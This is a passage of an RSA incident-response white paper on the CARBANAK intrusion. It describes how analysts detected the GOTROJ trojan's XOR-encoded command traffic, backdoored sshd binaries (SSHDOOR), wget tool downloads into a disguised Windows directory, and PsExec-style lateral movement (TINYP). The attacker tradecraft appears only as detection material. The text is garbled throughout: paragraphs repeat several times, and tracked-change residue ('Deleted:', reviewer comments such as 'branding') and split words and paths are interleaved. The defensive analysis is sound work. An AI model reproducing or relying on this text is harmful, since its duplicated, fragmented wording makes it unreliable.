Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: , Deleted: Deleted: Deleted: Deleted: TheShadowsofGhosts CaseStudy:CARBANAK  Page 44 Figure 36: GOTROJ Binary Control Traffic and svcmd.exe Beacon Traffic At this point in the analysis, we want to look at any contextually interesting meta within the analysis, compromise or risk meta groups.
In Figure 36, meta is created on these sessions for xor encoded executable and windows cli admin commands.
This indicates that RSA NetWitness Suite observed a Windows executable file in the network traffic that was XOR encrypted with a one-byte key.
Adding this meta to the windows cli admin commands indicates that common Windows administrative command line utilities, such as whoami, ipconfig or the command prompt string C:\Windows\system32, were observed either in cleartext or one-byte XOR encrypted.
In extracting the payload and performing the XOR instruction with a key of 0xC0, we observe the command prompt string, as shown in Figure 37.
Figure 37: Identification of Windows Command Prompt in XOR 0xC0 Decrypted Payload While this query may include additional traffic not associated with the attackers, it allowed RSA IR to significantly reduce the network dataset to a level where any included traffic could be quickly reviewed for newly identified C2 IP addresses or false positive IP addresses that required filtering.
In order to more accurately observe this communication, RSA IR created custom content for RSA NetWitness Suite.
This content is released in the form of the Digital Appendix associated with this report.
An example of the meta created for this communication is shown in Figure 38.
Figure 38: GOTROJ Beacon Meta from Digital Appendix Content As discussed earlier in this paper, the GOTROJ has the ability to download files to compromised hosts.
This ability does not traverse the binary XOR encoded control channel of the GOTROJ.
Instead, it utilizes HTTP over TCP port 443.
The following subset of the query associated with Figure 33 can be used to find this traffic.
Deleted: , Deleted: Formatted: Font:Not Italic Deleted: .
Deleted: Deleted: , Deleted: , Deleted: , Deleted: Deleted: Deleted: Deleted: Comment [A49]: branding Deleted: F Deleted: Deleted: Deleted: Figure 36: GOTROJ Binary Control Traffic and svcmd.exe Beacon Traffic At this point in the analysis, we want to look at any contextually interesting meta within the analysis, compromise or risk meta groups.
In Figure 36, meta is created on these sessions for xor encoded executable and windows cli admin commands.
This indicates that RSA NetWitness Suite observed a Windows executable file in the network traffic that was XOR encrypted with a one- byte key.
Adding this meta to the windows cli admin commands indicates that common Windows administrative command line utilities, such as whoami, ipconfig or the command prompt string C:\Windows\system32, were observed either in cleartext or one-byte XOR encrypted.
In extracting the payload and performing the XOR instruction with a key of 0xC0, we observe the command prompt string, as shown in Figure 37.
Figure 37: Identification of Windows Command Prompt in XOR 0xC0 Decrypted Payload While this query may include additional traffic not associated with the attackers, it allowed RSA IR to significantly reduce the network dataset to a level where any included traffic could be quickly reviewed for newly identified C2 IP addresses or false positive IP addresses that required filtering.
In order to more accurately observe this communication, RSA IR created custom content for RSA NetWitness Suite.
This content is released in the form of the Digital Appendix associated with this report.
An example of the meta created for this communication is shown in Figure 38.
WHITE PAPER 41 TheShadowsofGhosts CaseStudy:CARBANAK  Page 44 Figure 36: GOTROJ Binary Control Traffic and svcmd.exe Beacon Traffic At this point in the analysis, we want to look at any contextually interesting meta within the analysis, compromise or risk meta groups.
In Figure 36, meta is created on these sessions for xor encoded executable and windows cli admin commands.
This indicates that RSA NetWitness Suite observed a Windows executable file in the network traffic that was XOR encrypted with a one-byte key.
Adding this meta to the windows cli admin commands indicates that common Windows administrative command line utilities, such as whoami, ipconfig or the command prompt string C:\Windows\system32, were observed either in cleartext or one-byte XOR encrypted.
In extracting the payload and performing the XOR instruction with a key of 0xC0, we observe the command prompt string, as shown in Figure 37.
Figure 37: Identification of Windows Command Prompt in XOR 0xC0 Decrypted Payload While this query may include additional traffic not associated with the attackers, it allowed RSA IR to significantly reduce the network dataset to a level where any included traffic could be quickly reviewed for newly identified C2 IP addresses or false positive IP addresses that required filtering.
In order to more accurately observe this communication, RSA IR created custom content for RSA NetWitness Suite.
This content is released in the form of the Digital Appendix associated with this report.
An example of the meta created for this communication is shown in Figure 38.
Figure 38: GOTROJ Beacon Meta from Digital Appendix Content As discussed earlier in this paper, the GOTROJ has the ability to download files to compromised hosts.
This ability does not traverse the binary XOR encoded control channel of the GOTROJ.
Instead, it utilizes HTTP over TCP port 443.
The following subset of the query associated with Figure 33 can be used to find this traffic.
Deleted: , Deleted: Formatted: Font:Not Italic Deleted: .
Deleted: Deleted: , Deleted: , Deleted: , Deleted: Deleted: Deleted: Deleted: Comment [A49]: branding Deleted: F Deleted: Deleted: Deleted: TheShadowsofGhosts CaseStudy:CARBANAK  Page 45 direction  outbound  service  80  tcp.dstport  443  session.analysis  direct to ip http request This query returns the results shown in Figure 39.
Figure 39: Identification of GOTROJ HTTP wget User-Agent In Figure 39, an additional HTTP User-Agent is observed: go-http-client/1.1.
The sessions associated with this User-Agent are the sessions in which files were downloaded via the GOTROJ Trojan.
Adding this information to the query associated with Figure 33 returns the following: direction  outbound  service  80  tcp.dstport  443  session.analysis  direct to ip http request  client begins wget,go- With these queries built around behavioral attacker TTPs, as observed during the time of engagement, any reliance on traditional atomic indicators is removed from the investigation.
Instead, the actions required of the attackers (such as operating system command execution and interaction, file download, etc.)
are focused upon, as well as the way that their TTP and Comment [A50]: branding Deleted: .
Deleted: Deleted: , Deleted: Figure 38: GOTROJ Beacon Meta from Digital Appendix Content As discussed earlier in this paper, the GOTROJ has the ability to download files to compromised hosts.
This ability does not traverse the binary XOR encoded control channel of the GOTROJ.
Instead, it utilizes HTTP over TCP port 443.
The following subset of the query associated with Figure 33 can be used to find this traffic.
direction  outbound  service  80  tcp.dstport  443 session.analysis  direct to ip http request This query returns the results shown in Figure 39.
Figure 39: Identification of GOTROJ HTTP wget User-Agent WHITE PAPER 42 In Figure 39, an additional HTTP User-Agent is observed: go-http-client/1.1.
The sessions associated with this User-Agent are the sessions in which files were downloaded via the GOTROJ Trojan.
Adding this information to the query associated with Figure 33 returns the following: direction  outbound  service  80  tcp.dstport  443  session.analysis direct to ip http request  client begins wget,go- With these queries built around behavioral attacker TTPs, as observed during the time of engagement, any reliance on traditional atomic indicators is removed from the investigation.
Instead, the actions required of the attackers (such as operating system command execution and interaction, file download, etc.)
are focused upon, as well as the way that their TTP and toolsets perform these actions.
Thus any changes in C2, filenames, hashes, user-agents, etc.,
can be quickly identified and included in the continuing investigation.
4.6.2 Host Visibility and Indicators This section discusses the methodology and RSA NetWitness Endpoint Instant IOCs (IIOCs) and content used by RSA IR during this investigation.
The methodology used in this section is described in detail in the RSA NetWitness Endpoint User Guide found here.18 The CARBANAK actors involved during this engagement were particularly careful to leave as little file, log or execution traces as possible.
This included, but was not limited to, ad hoc download of tools as needed, preference for lateral tool movement, log deletion automatically built into tools, immediate deletion of tools and logs upon logout of systems, and removal of entries from centralized log repositories.
During this engagement, the RSA NetWitness Endpoint agent was deployed to all Red Hat Enterprise Linux (RHEL) and CentOS 6 and 7 systems, as they could support it.
The detection of attacker activity on these systems within RSA NetWitness Endpoint utilized aspects of the attacker actions and toolset utilizations that deviated from legitimate installed binary usage.
An example of this is the usage of the AUDITUNNEL and the SSHDOOR client and server binaries.
Originally, the attackers placed the SSHDOOR binaries in /usr/bin and /usr/sbin as a replacement for the system OpenSSH client and server binaries.
However, upon the remediation of system ALPHA, the attackers utilized the SSHDOOR binaries in the non-standard location of /usr/share/ man/mann.
The initial placement of SSHDOOR was observed by reviewing any binaries automatically started as part of systemd or init.d, and had a hash value that didnt match the one in the RPM package list.
These attributes are recorded in the IIOCs of RSA NetWitness Endpoint and are shown in the SSHDOOR detection in Figure 40.
18 RSA NetWitness Endpoint User Guide https://community.rsa.com/docs/DOC-72935 https://community.rsa.com/docs/DOC-72935 WHITE PAPER 43 TheShadowsofGhosts CaseStudy:CARBANAK  Page 46 toolsets perform these actions.
Thus any changes in C2, filenames, hashes, user-agents, etc.,
can be quickly identified and included in the continuing investigation.
4.6.2  Host Visibility and Indicators This section discusses the methodology and RSA NetWitness Endpoint Instant IOCs (IIOCs) and content used by RSA IR during this investigation.
The methodology used in this section is described in detail in the RSA NetWitness Endpoint User Guide found here.18 The CARBANAK actors involved during this engagement were particularly careful to leave as little file, log or execution traces as possible.
This included, but was not limited to, ad hoc download of tools as needed, preference for lateral tool movement, log deletion automatically built into tools, immediate deletion of tools and logs upon logout of systems, and removal of entries from centralized log repositories.
During this engagement, the RSA NetWitness Endpoint agent was deployed to all Red Hat Enterprise Linux (RHEL) and CentOS 6 and 7 systems, as they could support it.
The detection of attacker activity on these systems within RSA NetWitness Endpoint utilized aspects of the attacker actions and toolset utilizations that deviated from legitimate installed binary usage.
An example of this is the usage of the AUDITUNNEL and the SSHDOOR client and server binaries.
Originally, the attackers placed the SSHDOOR binaries in /usr/bin and /usr/sbin as a replacement for the system OpenSSH client and server binaries.
However, upon the remediation of system ALPHA, the attackers utilized the SSHDOOR binaries in the non-standard location of /usr/share/man/mann.
The initial placement of SSHDOOR was observed by reviewing any binaries automatically started as part of systemd or init.d, and had a hash value that didnt match the one in the RPM package list.
These attributes are recorded in the IIOCs of RSA NetWitness Endpoint and are shown in the SSHDOOR detection in Figure 40.
Figure 40: File Hash Mismatch and system/init.d Autostart in SSHDOOR Detection Once the attackers moved to a non-standard location, this was easily identified, as they were the only common system service binaries not running in either /sbin or /usr/sbin.
The aspects of both instances of SSHDOOR use are illustrated in Figure 41.
18 RSA NetWitness Endpoint User Guide https://community.rsa.com/docs/DOC-72935 Deleted: Comment [A51]: you explain IOCs but not IIOCsspell out first use with acronym in parentheses Comment [A52]: Corrected Deleted: Incident Response Deleted: Deleted: , Deleted: Deleted: - Deleted: Deleted: Deleted: Deleted: Comment [A53]: Corrected Comment [A54]: Is Instant the first I in IIOC?
If yes, then it is redundant here and should be deleted Deleted: , Deleted:   TheShadowsofGhosts CaseStudy:CARBANAK  Page 47 Figure 41: Malicious Binary Usage in Non-Standard Locations and Without Associated Packages In Figure 41, we observe two separate sshd binaries running on the system.
As SSH only requires one instance of its service binary running at a time, this is an anomaly.
Add to this the non-standard location of /usr/share/man/mann in which the second sshd is executing, and the fact that this binary cannot be associated with a legitimately installed RPM package, this activity immediately becomes suspect and warrants investigation.
The legitimate sshd service binary process is also highlighted as running from /usr/sbin.
Another method of identifying the attacker activity during this engagement involved the command line arguments used by the attackers.
Essentially, while the attackers could change directory locations, filenames and even hashes, the base functionality of the tools themselves could not readily or easily be changed.
Given that the command line arguments of the tool indicated the functionality being utilized, RSA IR analysts zeroed in on the unique command line arguments of the tools being use by the attackers.
As an example, the usage of any web address or IP address in the command line arguments became immediately suspect and reviewed, as shown in Figure 42.
Figure 42: IP Address, Port Switch and Port Number in Program Arguments As a follow-up to these findings, RSA IR analysts utilized some of the base functions of the RSA NetWitness Endpoint agent in order to gain additional artifacts and information associated with known indicators.
During this engagement, the directory /usr/share/man/mann was the primary working directory for system BRAVO.
In using this indicator during scoping investigations, the file contents for /usr/share/man/mann were requested from every Linux server in the environment.
The purpose of this was to determine if this directory was being maliciously used on any systems within the environment and to gain additional evidence that may not have executed during the agents tenure on the system.
Comment [A55]: branding Deleted: Deleted: Deleted: Deleted: Deleted: , Deleted: Deleted: Comment [A56]: branding Deleted: , Deleted: analysis Deleted: Agent Deleted: Deleted: Deleted: Figure 40: File Hash Mismatch and system/init.d Autostart in SSHDOOR Detection Once the attackers moved to a non-standard location, this was easily identified, as they were the only common system service binaries not running in either /sbin or /usr/sbin.
The aspects of both instances of SSHDOOR use are illustrated in Figure 41.
Figure 41: Malicious Binary Usage in Non-Standard Locations and Without Associated Packages In Figure 41, we observe two separate sshd binaries running on the system.
As SSH only requires one instance of its service binary running at a time, this is an anomaly.
Add to this the non-standard location of /usr/share/man/ mann in which the second sshd is executing, and the fact that this binary cannot be associated with a legitimately installed RPM package, this activity immediately becomes suspect and warrants investigation.
The legitimate sshd service binary process is also highlighted as running from /usr/sbin.
Another method of identifying the attacker activity during this engagement involved the command line arguments used by the attackers.
Essentially, while the attackers could change directory locations, filenames and even hashes, the base functionality of the tools themselves could not readily or easily be changed.
Given that the command line arguments of the tool indicated the functionality being utilized, RSA IR analysts zeroed in on the unique command line arguments of the tools being use by the attackers.
As an example, the usage of any web address or IP address in the command line arguments became immediately suspect and reviewed, as shown in Figure 42.
WHITE PAPER 44 TheShadowsofGhosts CaseStudy:CARBANAK  Page 47 Figure 41: Malicious Binary Usage in Non-Standard Locations and Without Associated Packages In Figure 41, we observe two separate sshd binaries running on the system.
As SSH only requires one instance of its service binary running at a time, this is an anomaly.
Add to this the non-standard location of /usr/share/man/mann in which the second sshd is executing, and the fact that this binary cannot be associated with a legitimately installed RPM package, this activity immediately becomes suspect and warrants investigation.
The legitimate sshd service binary process is also highlighted as running from /usr/sbin.
Another method of identifying the attacker activity during this engagement involved the command line arguments used by the attackers.
Essentially, while the attackers could change directory locations, filenames and even hashes, the base functionality of the tools themselves could not readily or easily be changed.
Given that the command line arguments of the tool indicated the functionality being utilized, RSA IR analysts zeroed in on the unique command line arguments of the tools being use by the attackers.
As an example, the usage of any web address or IP address in the command line arguments became immediately suspect and reviewed, as shown in Figure 42.
Figure 42: IP Address, Port Switch and Port Number in Program Arguments As a follow-up to these findings, RSA IR analysts utilized some of the base functions of the RSA NetWitness Endpoint agent in order to gain additional artifacts and information associated with known indicators.
During this engagement, the directory /usr/share/man/mann was the primary working directory for system BRAVO.
In using this indicator during scoping investigations, the file contents for /usr/share/man/mann were requested from every Linux server in the environment.
The purpose of this was to determine if this directory was being maliciously used on any systems within the environment and to gain additional evidence that may not have executed during the agents tenure on the system.
Comment [A55]: branding Deleted: Deleted: Deleted: Deleted: Deleted: , Deleted: Deleted: Comment [A56]: branding Deleted: , Deleted: analysis Deleted: Agent Deleted: Deleted: Deleted: TheShadowsofGhosts CaseStudy:CARBANAK  Page 48 Figure 43: RSA NetWitness Endpoint Request for All Files in Directory /usr/share/man/mann In requesting files for this directory across all systems, analysts are able to determine if there are additional tools or malware artifacts used by the attackers within the same directory.
Additionally, this action can also determine if the binaries observed executing from this directory exist on any other systems.
Both cases are shown in the results of this action from the Global Downloads section shown in Figure 44.
Figure 44: Additional Findings via Mass File Download Request for Directory /usr/share/man/mann The functionality is also useful in acquiring key host artifacts, such as configuration files and host logs, across all systems within the environment and then processing and reviewing them in aggregate in order to gain more contextual information and situational awareness.
While contextual forensic data within host artifacts could identify some attacker activity, much of the most commonly utilized host forensic data either was not useful or was not available on the hosts affected during this engagement.
While aggregate analysis of artifacts, such as NTFS Deleted: Deleted: Comment [A57]: branding Deleted: Figure 42: IP Address, Port Switch, and Port Number in Program Arguments As a follow-up to these findings, RSA IR analysts utilized some of the base functions of the RSA NetWitness Endpoint agent in order to gain additional artifacts and information associated with known indicators.
During this engagement, the directory /usr/share/man/mann was the primary working directory for system BRAVO.
In using this indicator during scoping investigations, the file contents for /usr/share/man/mann were requested from every Linux server in the environment.
The purpose of this was to determine if this directory was being maliciously used on any systems within the environment and to gain additional evidence that may not have executed during the agents tenure on the system.
Figure 43: RSA NetWitness Endpoint Request for All Files in Directory /usr/share/ man/mann In requesting files for this directory across all systems, analysts are able to determine if there are additional tools or malware artifacts used by the attackers within the same directory.
Additionally, this action can also determine if the binaries observed executing from this directory exist on any other systems.
Both cases are shown in the results of this action from the Global Downloads section shown in Figure 44.
WHITE PAPER 45 TheShadowsofGhosts CaseStudy:CARBANAK  Page 48 Figure 43: RSA NetWitness Endpoint Request for All Files in Directory /usr/share/man/mann In requesting files for this directory across all systems, analysts are able to determine if there are additional tools or malware artifacts used by the attackers within the same directory.
Additionally, this action can also determine if the binaries observed executing from this directory exist on any other systems.
Both cases are shown in the results of this action from the Global Downloads section shown in Figure 44.
Figure 44: Additional Findings via Mass File Download Request for Directory /usr/share/man/mann The functionality is also useful in acquiring key host artifacts, such as configuration files and host logs, across all systems within the environment and then processing and reviewing them in aggregate in order to gain more contextual information and situational awareness.
While contextual forensic data within host artifacts could identify some attacker activity, much of the most commonly utilized host forensic data either was not useful or was not available on the hosts affected during this engagement.
While aggregate analysis of artifacts, such as NTFS Deleted: Deleted: Comment [A57]: branding Deleted: Figure 44: Additional Findings via Mass File Download Request for Directory /usr/ share/man/mann The functionality is also useful in acquiring key host artifacts, such as configuration files and host logs, across all systems within the environment and then processing and reviewing them in aggregate in order to gain more contextual information and situational awareness.
While contextual forensic data within host artifacts could identify some attacker activity, much of the most commonly utilized host forensic data either was not useful or was not available on the hosts affected during this engagement.
While aggregate analysis of artifacts, such as NTFS Master File Tables, AmCache, SYSTEM and SOFTWARE Registry Hives, and Windows Event Logs, could identify certain aspects of the attackers actions, they were consistently ineffective at providing the necessary level of granularity to track the attackers actions appropriately.
However, using the RSA NetWitness Endpoint agent already present on the hosts to provide this critical host data, the aforementioned artifacts became force multipliers by providing additional context to the actions observed in RSA NetWitness Suite.
The attackers utilized a specific staging directory on each host in which they took any significant action.
In order to appear more legitimate to security analysts and tools, they utilized the legitimate Microsoft Windows directory for 32-bit applications utilizing the Taiwan Chinese language pack on 64-bit versions of Windows, C:\Windows\SysWoW64\zh-TW.
While this directory is a legitimate Windows system directory, no server systems within this environment were legitimately utilizing the Taiwan Chinese language directory.
As such, this became a useful and actionable IOC for scoping and tracking any systems with substantial actor activity.
An example of attacker use of this directory, as observed in RSA NetWitness Endpoint, is shown in Figure 45.
WHITE PAPER 46 TheShadowsofGhosts CaseStudy:CARBANAK  Page 49 Master File Tables, AmCache, SYSTEM and SOFTWARE Registry Hives, and Windows Event Logs, could identify certain aspects of the attackers actions, they were consistently ineffective at providing the necessary level of granularity to track the attackers actions appropriately.
However, using the RSA NetWitness Endpoint agent already present on the hosts to provide this critical host data, the aforementioned artifacts became force multipliers by providing additional context to the actions observed in RSA NetWitness Suite.
The attackers utilized a specific staging directory on each host in which they took any significant action.
In order to appear more legitimate to security analysts and tools, they utilized the legitimate Microsoft Windows directory for 32-bit applications utilizing the Taiwan Chinese language pack on 64-bit versions of Windows, C:\Windows\SysWoW64\zh-TW.
While this directory is a legitimate Windows system directory, no server systems within this environment were legitimately utilizing the Taiwan Chinese language directory.
As such, this became a useful and actionable IOC for scoping and tracking any systems with substantial actor activity.
An example of attacker use of this directory, as observed in RSA NetWitness Endpoint, is shown in Figure 45.
Figure 45: C:\Windows\SysWOW64\zh-TW Working Directory, UIAutomationCore WGET Usage, and TINYP Download and Renaming In Figure 45 above, the usage of the UIAutomationCore.dll.bin WGET binary to download attacker tools and the immediate renaming of those tools are shown.
This, again, became an excellent actionable IOC to track adversary activity.
The same contextual aspects that were utilized in the network IOC for WGET usage in Figure 33 are also used here.
By identifying any command executions that utilize a command line argument of http:// followed by an IP address, RSA IR was able to identify any and all instances in which the attackers downloaded tools.
In hunting for this activity, we use the same methodology used in Section 3.3.1, identifying aspects of the activity associated with IIOCs and reviewing those IIOCs for activity.
In this case, the UIAutomationCore.dll.bin WGET binary download is an unsigned module, located within a legitimate Windows directory, communicates to an external source directly to IP address and writes an executable to disk.
The IIOCs shown in Figure 46 reflect this activity.
Deleted: attackers Deleted: attackers Deleted: Deleted: Agent Comment [A58]: this paragraph is awkward with the overuse of legitimate and utilize/utilized.
Deleted: Deleted: Deleted: Deleted: Comment [A59]: branding Deleted: Deleted: Deleted: is Deleted: Deleted: Deleted: Instant Deleted: Instant Deleted: Deleted: , Deleted: Deleted: Instant TheShadowsofGhosts CaseStudy:CARBANAK  Page 50 Figure 46: IIOCs Representing UIAutomationCore.dll.bin WGET Binary Activity As stated in the section associated with Table 15, the TINYP binary is a modification of the SysInternals PSEXEC remote access utility.
Just like PSEXEC, the TINYP binary sends a service binary to the ADMIN share (C:\Windows) of the target host.
The target host executes this service binary, and the TINYP tool connects to that service binary.
When identifying attacker lateral movement from the perspective of the target system, the PSEXESVC.exe TINYP service binary executes the remote command requested by the attacker system.
The view of this activity in RSA NetWitness Endpoint is illustrated in Figure 47.
Figure 47: TINYP Execution from Source (Red) and Target (Blue) Perspective Figure 47 illustrates the most common use case for the TINYP binary observed: lateral movement via remote command shell execution.
In the figure above, the source host perspective of TINYP execution is shown in the red boxes, while the target host perspective of TINYP execution is shown in the blue boxes.
In the box labeled 1, we see file PSEXESVC.exe service binary being written to the C:\Windows directory, which represents the ADMIN SMB/CIFS network share.
Once the service binary is placed in the ADMIN share, a Windows Registry entry is created in the SYSTEM Registry Hive under the path HKLM\SYSTEM\ControlSet001\services\PSEXESVC.
Once the service binary is placed on the system, a Windows Service is created to execute the service binary.
This is observed in the last Deleted: Instant Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: , Deleted: Deleted: Deleted: Figure 45: C:\Windows\SysWOW64\zh-TW Working Directory, UIAutomationCore WGET Usage, and TINYP Download and Renaming In Figure 45 above, the usage of the UIAutomationCore.dll.bin WGET binary to download attacker tools and the immediate renaming of those tools are shown.
This, again, became an excellent actionable IOC to track adversary activity.
The same contextual aspects that were utilized in the network IOC for WGET usage in Figure 33 are also used here.
By identifying any command executions that utilize a command line argument of http:// followed by an IP address, RSA IR was able to identify any and all instances in which the attackers downloaded tools.
In hunting for this activity, we use the same methodology used in Section 3.3.1, identifying aspects of the activity associated with IIOCs and reviewing those IIOCs for activity.
In this case, the UIAutomationCore.dll.bin WGET binary download is an unsigned module, located within a legitimate Windows directory, communicates to an external source directly to IP address and writes an executable to disk.
The IIOCs shown in Figure 46 reflect this activity.
Figure 46: Instant IOCs Representing UIAutomationCore.dll.bin WGET Binary Activity As stated in the section associated with Table 15, the TINYP binary is a modification of the SysInternals PSEXEC remote access utility.
Just like PSEXEC, the TINYP binary sends a service binary to the ADMIN share (C:\ Windows) of the target host.
The target host executes this service binary, and the TINYP tool connects to that service binary.
When identifying attacker lateral movement from the perspective of the target system, the PSEXESVC.
exe TINYP service binary executes the remote command requested by the attacker system.
The view of this activity in RSA NetWitness Endpoint is illustrated in Figure 47.
WHITE PAPER 47 TheShadowsofGhosts CaseStudy:CARBANAK  Page 50 Figure 46: IIOCs Representing UIAutomationCore.dll.bin WGET Binary Activity As stated in the section associated with Table 15, the TINYP binary is a modification of the SysInternals PSEXEC remote access utility.
Just like PSEXEC, the TINYP binary sends a service binary to the ADMIN share (C:\Windows) of the target host.
The target host executes this service binary, and the TINYP tool connects to that service binary.
When identifying attacker lateral movement from the perspective of the target system, the PSEXESVC.exe TINYP service binary executes the remote command requested by the attacker system.
The view of this activity in RSA NetWitness Endpoint is illustrated in Figure 47.
Figure 47: TINYP Execution from Source (Red) and Target (Blue) Perspective Figure 47 illustrates the most common use case for the TINYP binary observed: lateral movement via remote command shell execution.
In the figure above, the source host perspective of TINYP execution is shown in the red boxes, while the target host perspective of TINYP execution is shown in the blue boxes.
In the box labeled 1, we see file PSEXESVC.exe service binary being written to the C:\Windows directory, which represents the ADMIN SMB/CIFS network share.
Once the service binary is placed in the ADMIN share, a Windows Registry entry is created in the SYSTEM Registry Hive under the path HKLM\SYSTEM\ControlSet001\services\PSEXESVC.
Once the service binary is placed on the system, a Windows Service is created to execute the service binary.
This is observed in the last Deleted: Instant Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: Deleted: , Deleted: Deleted: Deleted: Figure 47: TINYP Execution from Source (Red) and Target (Blue) Perspective Figure 47 illustrates the most common use case for the TINYP binary observed: lateral movement via remote command shell execution.
In the figure above, the source host perspective of TINYP execution is shown in the red boxes, while the target host perspective of TINYP execution is shown in the blue boxes.
In the box labeled 1, we see file PSEXESVC.exe service binary being written to the C:\Windows directory, which represents the ADMIN SMB/CIFS network share.
Once the service binary is placed in the ADMIN share, a Windows Registry entry is created in the SYSTEM Registry Hive under the path HKLM\SYSTEM\ControlSet001\services\PSEXESVC.
Once the service binary is placed on the system, a Windows Service is created to execute the service binary.
This is observed in the last item in box 1, as the Windows Services Control Manager services.exe executes the PSEXESVC.exe process.
Upon the second execution of the TINYP binary, the Windows SYSTEM Registry Key is not created, as it already exists on the system, and it is important to note that the Registry entry is only created on the first execution.
This information can be used to determine the first host access by this method.
On the second execution, represented by the box labeled 2, we see the Windows Local Security Authentication Server binary lsass.
exe opening the PSEXESVC.exe service process.
This is the actor attempting to authenticate to the remote system under whatever credentials they have acquired.
Once authenticated, the process goes into the box labeled 3, where the PSEXESVC.exe service binary executes the Windows Command Processor cmd.exe remotely on behalf of the attacker.
It is important to note that while the calling parent binary on the target system is the TINYP binary ps.exe, all actions executed by TINYP will be carried out by the PSEXESVC.
exe service binary on the target system.
Given this, we can identify remote command shell execution via PSEXEC for any instance in which PSEXESVC.exe Creates Process cmd.exe, which we established was the primary use case for this tool in this engagement.
Knowing this, and knowing that the legitimate PSEXEC utility is often widely used by system administrators, the difference in the legitimate PSEXEC and the TINYP binaries or their service binaries is particularly useful to incident responders.
In reviewing the service binaries of both tools in RSA NetWitness Endpoint, we identify differences we can use to distinguish between legitimate and malicious activity.
A view of one difference is shown in Figure 48.
WHITE PAPER 48 TheShadowsofGhosts CaseStudy:CARBANAK  Page 51 item in box 1, as the Windows Services Control Manager services.exe executes the PSEXESVC.exe process.
Upon the second execution of the TINYP binary, the Windows SYSTEM Registry Key is not created, as it already exists on the system, and it is important to note that the Registry entry is only created on the first execution.
This information can be used to determine the first host access by this method.
On the second execution, represented by the box labeled 2, we see the Windows Local Security Authentication Server binary lsass.exe opening the PSEXESVC.exe service process.
This is the actor attempting to authenticate to the remote system under whatever credentials they have acquired.
Once authenticated, the process goes into the box labeled 3, where the PSEXESVC.exe service binary executes the Windows Command Processor cmd.exe remotely on behalf of the attacker.
It is important to note that while the calling parent binary on the target system is the TINYP binary ps.exe, all actions executed by TINYP will be carried out by the PSEXESVC.exe service binary on the target system.
Given this, we can identify remote command shell execution via PSEXEC for any instance in which PSEXESVC.exe Creates Process cmd.exe, which we established was the primary use case for this tool in this engagement.
Knowing this, and knowing that the legitimate PSEXEC utility is often widely used by system administrators, the difference in the legitimate PSEXEC and the TINYP binaries or their service binaries is particularly useful to incident responders.
In reviewing the service binaries of both tools in RSA NetWitness Endpoint, we identify differences we can use to distinguish between legitimate and malicious activity.
A view of one difference is shown in Figure 48.
Figure 48: TINYP vs. PSEXEC Service Binaries In Figure 48, we see that the PSEXESVC.exe service binary used by TINYP has a valid Microsoft signature, though it is about 40KB smaller than the legitimate PSEXEC service binary.
While the signature for this binary is valid, even valid information can become an actionable IOC.
In this particular engagement, the version of PSEXEC that was legitimately being used by system administrators was signed by SysInternals, much like the figure above.
With this being the case, any PSEXESVC service binaries that were Microsoft signed became immediately suspect during this investigation.
Additionally, the TINYP binary itself was unsigned, standing in stark difference from its legitimate PSEXEC counterpart.
The differences in these binaries are shown in Figure 49.
Deleted: , Deleted: Deleted: Deleted: , Deleted: Deleted: Deleted: , Deleted: Deleted: Deleted: and Deleted: Deleted: Comment [A60]: branding Deleted: Deleted: Deleted: Deleted: Deleted: TheShadowsofGhosts CaseStudy:CARBANAK  Page 52 Figure 49: TINYP vs. PSEXECModule Differences In Figure 49, we observe the following differences in the TINYP binary and legitimate PSEXEC: 1.
The TINYP binary resides within a consistent directory of C:\Windows\SysWOW64\zh-TW.
2.
The TINYP binary has a very recent compile time from the time of initial entry into the environment.
3.
The TINYP binary has no value in the Description section of its header.
4.
The TINYP binary is not signed.
Given this, should the attackers change filename or location, this can be hunted for by viewing only unsigned binaries with no Description values and sorted by compile time to identify binaries compiled within close proximity to the compile time of this binary.
In order to reduce time to detection of this activity, IIOC content for RSA NetWitness Endpoint has been created and included in the Digital Appendix associated with this document.
The majority of the attackers actions-on-objective were conducted using commands residing within, and are functions of, the Windows Command Processor cmd.exe.
While there are a variety of commands available to users at the Windows Command Prompt, a specific subset of these commands are internal to the cmd.exe binary and therefore will not cause additional process creation.
These commands are listed in Table 25.
Internal Windows Command Processor Commands ASSOC MKLINK (vista and above) BREAK MOVE CALL PATH CD/CHDIR PAUSE CLS POPD COLOR PROMPT COPY PUSHD DATE REM DEL REN/RENAME DIR RD/RMDIR DPATH SET ECHO SETLOCAL ENDLOCAL SHIFT ERASE START EXIT TIME FOR TITLE Comment [A61]: branding Deleted: Deleted: Instant Deleted: Deleted: , Deleted: , Deleted: Comment [A62]: table format is inconsistent.
Figure 48: TINYP vs PSEXEC Service Binaries In Figure 48, we see that the PSEXESVC.exe service binary used by TINYP has a valid Microsoft signature, though it is about 40KB smaller than the legitimate PSEXEC service binary.
While the signature for this binary is valid, even valid information can become an actionable IOC.
In this particular engagement, the version of PSEXEC that was legitimately being used by system administrators was signed by SysInternals, much like the figure above.
With this being the case, any PSEXESVC service binaries that were Microsoft signed became immediately suspect during this investigation.
Additionally, the TINYP binary itself was unsigned, standing in stark difference from its legitimate PSEXEC counterpart.
The differences in these binaries are shown in Figure 49.
Figure 49: TINYP vs. PSEXECModule Differences In Figure 49, we observe the following differences in the TINYP binary and legitimate PSEXEC: 1.
The TINYP binary resides within a consistent directory of C:\Windows\ SysWOW64\zh-TW.
2.
The TINYP binary has a very recent compile time from the time of initial entry into the environment.
3.
The TINYP binary has no value in the Description section of its header.
4.
The TINYP binary is not signed.
Given this, should the attackers change filename or location, this can be hunted for by viewing only unsigned binaries with no Description values and sorted by compile time to identify binaries compiled within close proximity to the compile time of this binary.
In order to reduce time to detection of this activity, IIOC content for RSA NetWitness Endpoint has been created and included in the Digital Appendix associated with this document.
The majority of the attackers actions-on-objective were conducted using commands residing within, and are functions of, the Windows Command Processor cmd.exe.
While there are a variety of commands available to users at the Windows Command Prompt, a specific subset of these commands are internal to the cmd.exe binary and therefore will not cause additional process creation.
These commands are listed in Table 25.
